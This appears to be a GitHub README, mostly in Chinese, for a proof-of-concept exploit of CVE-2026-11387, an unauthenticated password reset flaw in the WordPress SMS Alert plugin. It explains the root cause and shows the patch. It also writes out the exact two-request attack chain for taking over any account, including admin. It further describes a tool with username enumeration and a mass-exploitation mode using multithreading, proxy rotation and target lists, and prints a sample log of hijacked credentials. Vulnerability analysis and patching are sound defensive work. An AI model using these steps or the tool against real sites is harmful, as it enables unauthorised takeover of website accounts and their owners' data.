1beelze/CVE-2026-11387
GitHub: 1beelze/CVE-2026-11387
针对 WordPress SMS Alert 插件任意密码重置漏洞(CVE-2026-11387)的 PoC 利用工具,演示如何绕过 OTP 实现未授权账户接管。
Stars: 1 | Forks: 0
CVE-2026-11387 — SMS Alert ≤ 3.9.5
☆ 通过任意密码重置实现未授权权限提升 ☆
=== Beelze ===
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-11387 |
| CVSS Score | 9.8 严重 |
| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| 类型 | 缺少身份验证 / OTP 绕过 |
| 插件 | SMS Alert – OTP Verification for WooCommerce (`sms-alert`) |
| 受影响版本 | ≤ 3.9.5 |
| 已修复版本 | 3.9.6 |
| 发布时间 | 2026 |
| PoC | Beelze |
## 🔍 描述
SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 存在 **未授权权限提升** 漏洞,可通过任意密码重置触发。该插件的密码重置处理器仅通过检查 `$_REQUEST['option']` 是否为字符串 `smsalert-change-password-form` 来验证重置操作,而没有验证 OTP 验证是否已完成。
session 种子机制中存在一个严重的竞争条件,允许攻击者通过两次 HTTP 请求接管任何账户:
1. 向找回密码表单发送带有目标 `user_login` 的 POST 请求 —— 这会触发 `smsalert_site_challenge_otp()`,该函数会在未验证任何 OTP 的情况下为 `$_SESSION['user_login']` 设置种子值。
2. 发送带有选定新密码的 `option=smsalert-change-password-form` POST 请求 —— `routeData()` 会读取预设的 `$_SESSION['user_login']` 并无条件调用 `reset_password()`。
3. 使用新凭据登录 —— 确认账户已接管。
4. 该攻击无需身份验证、无需 OTP,也无需受害者的任何交互。
5. 如果目标用户在 WooCommerce 中注册了账单电话号码,则任何 WordPress 账户 —— 包括管理员 —— 都可以被接管。
## 🧬 根本原因分析
### 1. 无权限的 AJAX hook 注册
```
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
```
### 2. OTP 挑战在未验证的情况下为 session 设置种子值
```
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] is set HERE — before OTP verification
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // NOT 'validated'
$this->send_otp( $user );
}
}
```
### 3. routeData() 仅检查 $_REQUEST['option'] —— 无 session 状态防护
```
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
```
### 4. reset_password() 无条件使用预设的 session 执行
```
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // poisoned by smsalert_site_challenge_otp()
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ password changed — no OTP required
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
```
### 5. 3.9.6 版本中的补丁 —— 添加了 session 状态防护
```
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ FIXED: OTP must be validated before reset is allowed
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'OTP verification required.' );
}
$this->reset_password();
}
}
```
## ⚔️ 攻击链
```
Attacker (no auth)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← session poisoned 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP sent to victim's phone │
│ (attacker never sees the OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → checks $_REQUEST['option'] only │
│ → SESSION_VAR check: SKIPPED ❌ │
│ → reset_password() called │
│ → wp_set_password('admin', newpwd) │ ← password changed 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ Login SUCCESS │
│ wordpress_logged_in_* cookie set │ ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘
```
## 🛠️ 工具
### CVE-2026-11387.py — 完整利用链
```
# 单个目标 exploit
python CVE-2026-11387.py
# → Mode 1,输入目标 URL + 用户名
# 仅 Username 枚举
python CVE-2026-11387.py
# → Mode 2
# 批量 exploit(多线程 + 代理轮换)
python CVE-2026-11387.py
# → Mode 3,targets.txt,threads,代理文件
# 仅 Fingerprint(不进行 exploit)
python CVE-2026-11387.py
# → Mode 4,输出 CSV
```
```
Exploit Phases:
Phase 1 — Reachability check + HTTP fallback
Phase 2 — Version fingerprint via readme.txt
Phase 3 — Username enumeration (REST API / sitemap / author archive)
Phase 4 — OTP challenge trigger (session poisoning)
Phase 5 — Password reset via routeData() bypass
Phase 6 — Login verification (wordpress_logged_in_* cookie)
```
```
Sample output (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
```
## 🔌 缓解措施
将 SMS Alert 更新至 **3.9.6 版本** 或更高版本。
**[Beelze]** — 仅用于教育和授权的安全研究
标签:PoC, StruQ, Web安全, WooCommerce, WordPress插件, 协议分析, 文件完整性监控, 暴力破解, 权限提升, 蓝队分析, 逆向工具